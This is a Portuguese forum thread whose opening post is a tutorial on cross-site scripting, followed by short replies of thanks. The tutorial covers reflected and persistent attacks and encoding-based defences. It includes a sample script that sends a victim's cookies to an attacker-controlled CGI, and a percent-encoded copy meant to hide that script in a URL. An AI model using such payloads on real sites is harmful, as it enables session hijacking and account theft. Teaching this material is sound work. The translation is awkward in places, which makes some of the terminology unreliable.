Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Ataques Cross-Site Scripting (Css)

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Ataques Cross-Site Scripting (Css)

    • Ataques Cross-Site Scripting


    Os ataques de tipo Cross-Site Scripting (notado às vezes XSS ou CSS) são ataques que visam os sites web que afixam dinamicamente conteúdo utilizador sem efectuar controlo e codificação das informações apreendidas pelos utilizadores. Os ataques Cross-Site Scripting consistem assim em forçar um site web a afixar do código HTML ou os certificados apreendidos pelos utilizadores. O código assim incluído (o termo “injectado” habitualmente é utilizado) num site web vulnerável é dito “malicioso”.
    Em outras palavras seria uma "Injeção de um código malicioso".

    É corrente que os sites afixem mensagens de informação que retomam diretamente um parâmetro introduzido pelo utilizador. O exemplo mais simples é o “das páginas de erro 404”. Certos sites web alteram o comportamento do site web, para afixar uma mensagem de erro personalizada quando a página pedida pelo visitante não existe. As vezes a página gerada dinamicamente apresenta o nome da página pedida. Chamemos então Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... a um site que possua tal falha. A chamada do URL Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... que corresponde a uma página que não existe provocará a afixação de uma mensagem de erro que indica que a página “página-inexistente” não existe. É assim possível afixar o que desejar no site web substituindo “página-inexistente” por qualquer outra cadeia de caracteres.

    Assim, se nenhum controle for efetuado sobre o conteúdo fornecido pelo utilizador, é possível afixar o código HTML arbitrário sobre uma página web, a fim de alterar o aspecto, o conteúdo ou o comportamento.



    Além disso, a maior parte dos navegadores é dotada da capacidade de interpretar certificados contidos nas páginas web, escritos em diferentes linguagens, como JavaScript, VBScript, Java, ActiveX ou Flash. As balizas HTML seguintes permitem assim incorporar certificados realizáveis numa página web: <SCRIPT>, <OBJECT>, <APPLET>, e <EMBED>.

    É assim possível que uma "pessoa" injecte um código arbitrário na página web, para que este seja executado no posto do utiliza-dor no contexto de segurança do site vulnerável. Para o efeito, basta que substitua o valor do texto destinado a ser afixado por um certificado, para que este seja afixado na página web. Por pouco que o navegador do utilizador esteja configurado para executar tais certificados, o código malicioso tem acesso ao conjunto dos dados compartilhados pela página web do utilizador e o servidor (cookies, campos de formulários, etc.).

    Agora vem as Consequências

    Graças às vulnerabilidades Css , é possível para uma "pessoa" recuperar desta forma os dados trocados entre o utilizador e o site web interessado. O código injectado na página web pode assim servir para afixar um formulário a fim de enganar o utilizador e fazer-lhe introduzir, por exemplo, informações de autenticação.

    Além disso, o certificado injectado pode permitir o encaminhamento do utilizador para uma outra página sob o controlo da "pessoa", possuindo eventualmente a mesma conversão gráfica que o site comprometido a fim de enganar o utente (Que usa).

    Em tal contexto, a relação de confiança que existe entre o utilizador e o site web fica completamente comprometida.


    Persistência do ataque

    Quando os dados introduzidos pelo utilizador são armazenados no servidor durante um certo tempo (é o caso de um fórum de discussão, por exemplo), o ataque toma o nome de “persistente”. Com efeito, todos os utilizadores do site web acesso à página na qual o código prejudicial foi introduzido.


    Os ataques ditos “não persistentes” referem-se às páginas web dinâmicas nas quais uma variável introduzida pelo utilizador é afixada tal qual (por exemplo, a afixação do nome do utilizador, da página corrente ou a palavra introduzida num campo de formulário). Para poder explorar esta vulnerabilidade, o atacante deve fornecer à vítima uma URL alterada, passando o código a inserir em parâmetro. No entanto, uma URL que contém elementos de código Javascript poderá parecer suspeito à vítima, esta é a razão pela qual este ataque é, na maior parte das vezes, realizada codificando os dados no URL, para esconder o código injectado do utilizador.

    Um Simples Exemplo

    Suponhamos que a página de acolhimento de sitesvul.net é vulnerável a um ataque de tipo Css porque permite afixar na página de acolhimento uma mensagem de boas-vindas que afixa o nome do utilizador passado em parâmetro:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Uma "pessoa" mal-intencionada pode realizar um ataque Css não persistente fornecendo a uma vítima um endereço que substitui o nome “prTs” por pelo código HTML. Pode nomeadamente passar em parâmetro o código Javascript seguinte, servindo para reencaminhar o utilizador para uma página que ele controla:

    EX:
    <SCRIPT>
    document.location=' Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    </SCRIPT>

    O código acima recupera os cookies do utilizador e transmite-os em parâmetro a um certificado CGI. Tal código passado em parâmetro seria demasiado visível

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... <SCRIPT>document.location
    = ' Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... </SCRIPT>

    Em contrapartida, a codificação do URL permite mascarar o ataque:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74 %70%3a%2f%2f%73%69%74%
    65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f %73%63%72%69%70%74%2e%
    63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63 %6f%6f%6b%69%65%3c%2f%
    53%43%52%49%50%54%3e

    Ataque cruzado


    No exemplo precedente, o conjunto do certificado passou em parâmetro do URL. O método GET, permitindo passar parâmetros no URL é limitado a um comprimento total de 255 caracteres para o URL. Graças ao atributo SRC da baliza <SCRIPT>, é possível executar o código malicioso armazenado num certificado sobre um servidor distante! Dado que é assim possível injectar o código a partir de uma fonte distante, este tipo de ataque assume o nome “Cross-Site” (“Cross-Site” significa literalmente “entre sites”).



    Protecção

    No que diz respeito ao utilizador, é possível prevenir-se contra os ataques Css configurando o navegador de maneira impedir a execução das linguagens de certificados. Na realidade, esta solução é frequentemente demasiado vinculativa para o utilizador porque numerosos sites recusarão funcionar correctamente na ausência de possibilidade de execução de código dinâmico.
    A única maneira viável de impedir os ataques Css consiste em conceber sites web não vulneráveis. Para o efeito, o projectista de um site web deve:
    • Verificar o formato dos dados introduzidos pelos utilizadores;

    • Codificar os dados dos utilizadores afixados substituindo os caracteres especiais pelos seus equivalentes HTML.


    Obs: O termo “sanitation” designa todas as acções que permitem tornar seguro um dado introduzido por um utilizador.


    Mais informações
    • CERT® - Understanding Malicious Content Mitigation for Web Developers
    • CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests









    sigpic




  • Font Size
    #2
    muito bom esse e meu grande amigo prT´s
    sigpic

    Comment


    • Font Size
      #3
      Cara, muito maneiro. Gostei do Tópico.

      Comment


      • Font Size
        #4
        dá pra ter uma pequena noção já neah com esse post !!


        sigpic



        Comment


        • Font Size
          #5
          Goostei do conteudo, valeu
          sigpic

          Comment


          • Font Size
            #6
            CSS = Cascading Style Sheets

            Cross-Site Scripting = XSS

            O tutorial é bom, ja tinha lido em outro lugar, acho que era o texto original.

            Bom post.
            sigpic

            Comment


            • Font Size
              #7
              conteudo de primeira categoria.... muito obrigado !!

              sigpic

              Comment


              • Font Size
                #8
                Agora tô entendendo tudo direitinho, valeu cara!!!
                "Pouco conhecimento faz com que as pessoas se sintam orgulhosas. Muito conhecimento, que se sintam humildes. É assim que as espigas sem grãos erguem desdenhosamente a cabeça para o Céu, enquanto que as cheias as baixam para a terra, sua mãe."
                Leonardo da Vinci

                Comment


                • Font Size
                  #9
                  Bom bom

                  bom continue assim

                  Comment

                  X
                  Working...
                  X